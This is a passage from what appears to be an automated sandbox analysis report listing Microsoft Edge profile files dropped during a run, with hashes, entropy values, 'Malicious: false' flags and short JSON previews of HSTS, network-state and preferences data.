Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\15fde5e5-fd0b-4081-8d6d-3e06d8548e14.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.4478808772809435
Encrypted:	false
SSDEEP:	6:YWyWNkLbHVvXI1YDr9cyR8wXwlmUUAnIMObWn0eVEBv31dB8wXwlmUUAnIMp53++:YWyfvXI2pcO+UAnIh40eaR7N+UAnIq++
MD5:	BF8BD5D822948ADCDAAD76B57EA6BDAE
SHA1:	0C1AE0B5348527A7E023473C7A1C9AE4C8422843
SHA-256:	F7E0ED96E1DF7C74ECBA79897CD8FE15956F2EF82AB5AB9E2919AD4BAD2B1A65
SHA-512:	3A23C038128D593119A2EEFD14AAA46A7A17A07F47B35B73499FDB6762B4F1AE3DF74B9A3464801865FD4F075BBF02F49B3B51DF968E22299D331F03DC7BBB7F
Malicious:	false
Preview:	{"sts":[{"expiry":1753519066.092078,"host":"kYxWDeIDVgesBS02XkmPRTIpB0nkimBvKZESXctn8eA=","mode":"force-https","sts_include_subdomains":false,"sts_observed":1721983066.092082},{"expiry":1753519112.223677,"host":"8/RrMmQlCD2Gsp14wUCE1P8r7B2C5+yE0+g79IPyRsc=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1721983112.223682}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\1a096147-7550-4bd6-b0dd-11c5539febb0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	188
Entropy (8bit):	5.297874523096725
Encrypted:	false
SSDEEP:	3:YWRAWNjAF74dYWlPI0omRSSXmQh3wYHGKB8HQXwlm9yJUA6XcIR6RX77XMqdsi9+:YWyWNkgYWlBv31dB8wXwlmUUAnIMp5Zk
MD5:	BFA98D728C9CD997BCBFCF379E091868
SHA1:	CB9E5EA4E460B6F8EA38DF2A8BD45100F546A0D8
SHA-256:	5A025FDC590466C082C2BE6B19EEDACD6B78DEBC05AB17C12CDC291364DE103B
SHA-512:	6C9946B3A634B04BF276821698653A69F043C698654A9A6F7AEBB399E66E064DA98D52BA7191D0D6228CD7E8DC09ACA718844EBF996F77A128D4F66B70E50BBC
Malicious:	false
Preview:	{"sts":[{"expiry":1753519047.589888,"host":"8/RrMmQlCD2Gsp14wUCE1P8r7B2C5+yE0+g79IPyRsc=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1721983047.589892}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\1f17a082-a1fa-4d86-b4c4-d557be818edc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\513e906b-fd81-4bba-baf9-675388f79a76.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	355
Entropy (8bit):	5.463441019316178
Encrypted:	false
SSDEEP:	6:YWyWNkLbHVvXI1YDr9cyR8wXwlmUUAnIMObWn0eVKTA7TBv31dB8wXwlmUUAnIM8:YWyfvXI2pcO+UAnIh40enTR7N+UAnIiI
MD5:	59147670B1322FBFF99DA3028B4AF0B7
SHA1:	DCA26615AFE1D16190F6A6D440D01C1950D27893
SHA-256:	EAD470261770F4E6F8924BE327D39EFFE77B0E9E6B90ED70FDBECD6F12C65810
SHA-512:	D2F24ACA4CB67D0A6D4EFD64395AD750E31FE60B433686C7258C6E8F894792CDD2D3182001561705B583652DA8B630323BC01591A933AA696534F7239E3427EB
Malicious:	false
Preview:	{"sts":[{"expiry":1753519066.092078,"host":"kYxWDeIDVgesBS02XkmPRTIpB0nkimBvKZESXctn8eA=","mode":"force-https","sts_include_subdomains":false,"sts_observed":1721983066.092082},{"expiry":1753519067.736155,"host":"8/RrMmQlCD2Gsp14wUCE1P8r7B2C5+yE0+g79IPyRsc=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1721983067.73616}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\6ea1cc12-64f0-4b96-a866-1dcb54a5de3b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.459220911900733
Encrypted:	false
SSDEEP:	6:YWyWNkLbHVvXI1YDr9cyR8wXwlmUUAnIMObWn0eVESRlBv31dB8wXwlmUUAnIMpC:YWyfvXI2pcO+UAnIh40ey4R7N+UAnIAi
MD5:	39D0138978BCD0719D1F53E97B03AF37
SHA1:	288438F3CAA0D46F2E7A499EB89E84FF78E57B42
SHA-256:	EE0A64F6D41600F4438D4A6A893C25C7580927C97A9F4A497E7C8E42C25F1152
SHA-512:	8A5553F70798AD61127E70BAEA97ED37C0AED3D93600F3AE574A35B7C3B1E6255727AE83C9C43F90F040CB2E0F5DF753FCFF6363EAFD9D50F43A9541CE487577
Malicious:	false
Preview:	{"sts":[{"expiry":1753519066.092078,"host":"kYxWDeIDVgesBS02XkmPRTIpB0nkimBvKZESXctn8eA=","mode":"force-https","sts_include_subdomains":false,"sts_observed":1721983066.092082},{"expiry":1753519099.047913,"host":"8/RrMmQlCD2Gsp14wUCE1P8r7B2C5+yE0+g79IPyRsc=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1721983099.047917}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\7ea6826e-8231-4975-8dcc-9f08a7b2bae8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\8e766c8e-eb7a-4ce6-ab2e-a380724a5006.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3268
Entropy (8bit):	5.297668276141718
Encrypted:	false
SSDEEP:	48:YcCpfC0gCzs4qts4/fcKs464kBRs4bOBjHccs4y3Hqcs4IfgsXC5s4M+Hls48+H9:F2fhq/i4kB/u7cJ3q/f/P404j4s/
MD5:	C3A868746F3EF5C38265ABB8F90D55F1
SHA1:	5C6B3C2A81020C649DF6E0B13024C32F0AAEA155
SHA-256:	B303B7C8477AEC30F910B79450E33A2C88E3AE97E3E71778CCAAD3AFA4BE1D5C
SHA-512:	F3658CF35756D81DDA678E8AA191D221E42C41302C5A35CBE9CA42D786F212ED99F019395C7C1978D1F7D33282D10C89534A24DEF2B3A0A12FD78427584FD4FD
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13369048635475863","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13369048644190675","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3268
Entropy (8bit):	5.297668276141718
Encrypted:	false
SSDEEP:	48:YcCpfC0gCzs4qts4/fcKs464kBRs4bOBjHccs4y3Hqcs4IfgsXC5s4M+Hls48+H9:F2fhq/i4kB/u7cJ3q/f/P404j4s/
MD5:	C3A868746F3EF5C38265ABB8F90D55F1
SHA1:	5C6B3C2A81020C649DF6E0B13024C32F0AAEA155
SHA-256:	B303B7C8477AEC30F910B79450E33A2C88E3AE97E3E71778CCAAD3AFA4BE1D5C
SHA-512:	F3658CF35756D81DDA678E8AA191D221E42C41302C5A35CBE9CA42D786F212ED99F019395C7C1978D1F7D33282D10C89534A24DEF2B3A0A12FD78427584FD4FD
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13369048635475863","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13369048644190675","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF47db8.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF5cac9.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\TransportSecurity (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	188
Entropy (8bit):	5.297874523096725
Encrypted:	false
SSDEEP:	3:YWRAWNjAF74dYWlPI0omRSSXmQh3wYHGKB8HQXwlm9yJUA6XcIR6RX77XMqdsi9+:YWyWNkgYWlBv31dB8wXwlmUUAnIMp5Zk
MD5:	BFA98D728C9CD997BCBFCF379E091868
SHA1:	CB9E5EA4E460B6F8EA38DF2A8BD45100F546A0D8
SHA-256:	5A025FDC590466C082C2BE6B19EEDACD6B78DEBC05AB17C12CDC291364DE103B
SHA-512:	6C9946B3A634B04BF276821698653A69F043C698654A9A6F7AEBB399E66E064DA98D52BA7191D0D6228CD7E8DC09ACA718844EBF996F77A128D4F66B70E50BBC
Malicious:	false
Preview:	{"sts":[{"expiry":1753519047.589888,"host":"8/RrMmQlCD2Gsp14wUCE1P8r7B2C5+yE0+g79IPyRsc=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1721983047.589892}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\TransportSecurity~RF4de27.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	188
Entropy (8bit):	5.297874523096725
Encrypted:	false
SSDEEP:	3:YWRAWNjAF74dYWlPI0omRSSXmQh3wYHGKB8HQXwlm9yJUA6XcIR6RX77XMqdsi9+:YWyWNkgYWlBv31dB8wXwlmUUAnIMp5Zk
MD5:	BFA98D728C9CD997BCBFCF379E091868
SHA1:	CB9E5EA4E460B6F8EA38DF2A8BD45100F546A0D8
SHA-256:	5A025FDC590466C082C2BE6B19EEDACD6B78DEBC05AB17C12CDC291364DE103B
SHA-512:	6C9946B3A634B04BF276821698653A69F043C698654A9A6F7AEBB399E66E064DA98D52BA7191D0D6228CD7E8DC09ACA718844EBF996F77A128D4F66B70E50BBC
Malicious:	false
Preview:	{"sts":[{"expiry":1753519047.589888,"host":"8/RrMmQlCD2Gsp14wUCE1P8r7B2C5+yE0+g79IPyRsc=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1721983047.589892}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\TransportSecurity~RF54d8b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	188
Entropy (8bit):	5.297874523096725
Encrypted:	false
SSDEEP:	3:YWRAWNjAF74dYWlPI0omRSSXmQh3wYHGKB8HQXwlm9yJUA6XcIR6RX77XMqdsi9+:YWyWNkgYWlBv31dB8wXwlmUUAnIMp5Zk
MD5:	BFA98D728C9CD997BCBFCF379E091868
SHA1:	CB9E5EA4E460B6F8EA38DF2A8BD45100F546A0D8
SHA-256:	5A025FDC590466C082C2BE6B19EEDACD6B78DEBC05AB17C12CDC291364DE103B
SHA-512:	6C9946B3A634B04BF276821698653A69F043C698654A9A6F7AEBB399E66E064DA98D52BA7191D0D6228CD7E8DC09ACA718844EBF996F77A128D4F66B70E50BBC
Malicious:	false
Preview:	{"sts":[{"expiry":1753519047.589888,"host":"8/RrMmQlCD2Gsp14wUCE1P8r7B2C5+yE0+g79IPyRsc=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1721983047.589892}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\TransportSecurity~RF5b84b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	188
Entropy (8bit):	5.297874523096725
Encrypted:	false
SSDEEP:	3:YWRAWNjAF74dYWlPI0omRSSXmQh3wYHGKB8HQXwlm9yJUA6XcIR6RX77XMqdsi9+:YWyWNkgYWlBv31dB8wXwlmUUAnIMp5Zk
MD5:	BFA98D728C9CD997BCBFCF379E091868
SHA1:	CB9E5EA4E460B6F8EA38DF2A8BD45100F546A0D8
SHA-256:	5A025FDC590466C082C2BE6B19EEDACD6B78DEBC05AB17C12CDC291364DE103B
SHA-512:	6C9946B3A634B04BF276821698653A69F043C698654A9A6F7AEBB399E66E064DA98D52BA7191D0D6228CD7E8DC09ACA718844EBF996F77A128D4F66B70E50BBC
Malicious:	false
Preview:	{"sts":[{"expiry":1753519047.589888,"host":"8/RrMmQlCD2Gsp14wUCE1P8r7B2C5+yE0+g79IPyRsc=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1721983047.589892}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\TransportSecurity~RF602d1.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	188
Entropy (8bit):	5.297874523096725
Encrypted:	false
SSDEEP:	3:YWRAWNjAF74dYWlPI0omRSSXmQh3wYHGKB8HQXwlm9yJUA6XcIR6RX77XMqdsi9+:YWyWNkgYWlBv31dB8wXwlmUUAnIMp5Zk
MD5:	BFA98D728C9CD997BCBFCF379E091868
SHA1:	CB9E5EA4E460B6F8EA38DF2A8BD45100F546A0D8
SHA-256:	5A025FDC590466C082C2BE6B19EEDACD6B78DEBC05AB17C12CDC291364DE103B
SHA-512:	6C9946B3A634B04BF276821698653A69F043C698654A9A6F7AEBB399E66E064DA98D52BA7191D0D6228CD7E8DC09ACA718844EBF996F77A128D4F66B70E50BBC
Malicious:	false
Preview:	{"sts":[{"expiry":1753519047.589888,"host":"8/RrMmQlCD2Gsp14wUCE1P8r7B2C5+yE0+g79IPyRsc=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1721983047.589892}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\d139ba7e-7a7d-48cf-8389-c01ed0b48136.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\d1cf0f1f-2bf1-427b-853c-d121c83ce36a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.482070904261277
Encrypted:	false
SSDEEP:	6:YWyWNkBJVvXI1YDr9cyR8wXwlmUUAnIMOZKAcVIRL58WNTBv31dB8wXwlmUUAnI+:YWyffXI2pcO+UAnIXc+9NTR7N+UAnIHe
MD5:	5FCF2974BBCD69B369060E43F1237372
SHA1:	34400188EFB292FD564D5B843D68A7514105AA3E
SHA-256:	CC0E24C49CA667AEFDF2924A4ACBE4F392C7029D333DCBC9A1631AD8474F739D
SHA-512:	8CD7265792F9AFCB5AE2F0C3E1778E8794DCBE8ADBB24270741FF4F133B39974A8C7AD4740E501477F74D4F42AEBE097BBE146F606DCB368D5880049569ABA6E
Malicious:	false
Preview:	{"sts":[{"expiry":1753519049.566271,"host":"kYxWDeIDVgesBS02XkmPRTIpB0nkimBvKZESXctn8eA=","mode":"force-https","sts_include_subdomains":false,"sts_observed":1721983049.566274},{"expiry":1753519054.884039,"host":"8/RrMmQlCD2Gsp14wUCE1P8r7B2C5+yE0+g79IPyRsc=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1721983054.884044}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\da44c840-2589-46ff-a7b6-334bd04d63a1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9392
Entropy (8bit):	5.104592838943003
Encrypted:	false
SSDEEP:	192:stLkdpslSnaFvrEmkbn388YbV+FiABUYPpYJ:stL+slSnCD8ibGiZ7
MD5:	29F476708A44DD653A419C32358454F9
SHA1:	3010DCD93ECE897374CA3D0FAB1E99E5A43ACB6A
SHA-256:	AFCE1A511F4CB8E121FA987EF76F8BD8AE8A3AAC8A850FB13972F6907D4CF5D3
SHA-512:	AA5A7FA3EB20FAE39F26FAF6FF0E0409D8543BC1439D9BFE9FDDCC77FD79F60A5E093D78F5B8EBDC3AACB78C4ABC3FC1990C16B5A0690D04DC80641E742A8DB1
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13366456633404425","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":914,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":70,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"default_apps_install_state":3,"dips_timer_la

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4a0a1.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9392
Entropy (8bit):	5.104592838943003
Encrypted:	false
SSDEEP:	192:stLkdpslSnaFvrEmkbn388YbV+FiABUYPpYJ:stL+slSnCD8ibGiZ7
MD5:	29F476708A44DD653A419C32358454F9
SHA1:	3010DCD93ECE897374CA3D0FAB1E99E5A43ACB6A
SHA-256:	AFCE1A511F4CB8E121FA987EF76F8BD8AE8A3AAC8A850FB13972F6907D4CF5D3
SHA-512:	AA5A7FA3EB20FAE39F26FAF6FF0E0409D8543BC1439D9BFE9FDDCC77FD79F60A5E093D78F5B8EBDC3AACB78C4ABC3FC1990C16B5A0690D04DC80641E742A8DB1
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13366456633404425","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":914,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":70,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"default_apps_install_state":3,"dips_timer_la

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4eb95.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9392
Entropy (8bit):	5.104592838943003
Encrypted:	false
SSDEEP:	192:stLkdpslSnaFvrEmkbn388YbV+FiABUYPpYJ:stL+slSnCD8ibGiZ7
MD5:	29F476708A44DD653A419C32358454F9
SHA1:	3010DCD93ECE897374CA3D0FAB1E99E5A43ACB6A
SHA-256:	AFCE1A511F4CB8E121FA987EF76F8BD8AE8A3AAC8A850FB13972F6907D4CF5D3
SHA-512:	AA5A7FA3EB20FAE39F26FAF6FF0E0409D8543BC1439D9BFE9FDDCC77FD79F60A5E093D78F5B8EBDC3AACB78C4ABC3FC1990C16B5A0690D04DC80641E742A8DB1
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13366456633404425","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":914,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":70,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"default_apps_install_state":3,"dips_timer_la

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF560c5.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9392
Entropy (8bit):	5.104592838943003
Encrypted:	false
SSDEEP:	192:stLkdpslSnaFvrEmkbn388YbV+FiABUYPpYJ:stL+slSnCD8ibGiZ7
MD5:	29F476708A44DD653A419C32358454F9
SHA1:	3010DCD93ECE897374CA3D0FAB1E99E5A43ACB6A
SHA-256:	AFCE1A511F4CB8E121FA987EF76F8BD8AE8A3AAC8A850FB13972F6907D4CF5D3
SHA-512:	AA5A7FA3EB20FAE39F26FAF6FF0E0409D8543BC1439D9BFE9FDDCC77FD79F60A5E093D78F5B8EBDC3AACB78C4ABC3FC1990C16B5A0690D04DC80641E742A8DB1
Malicious:	false
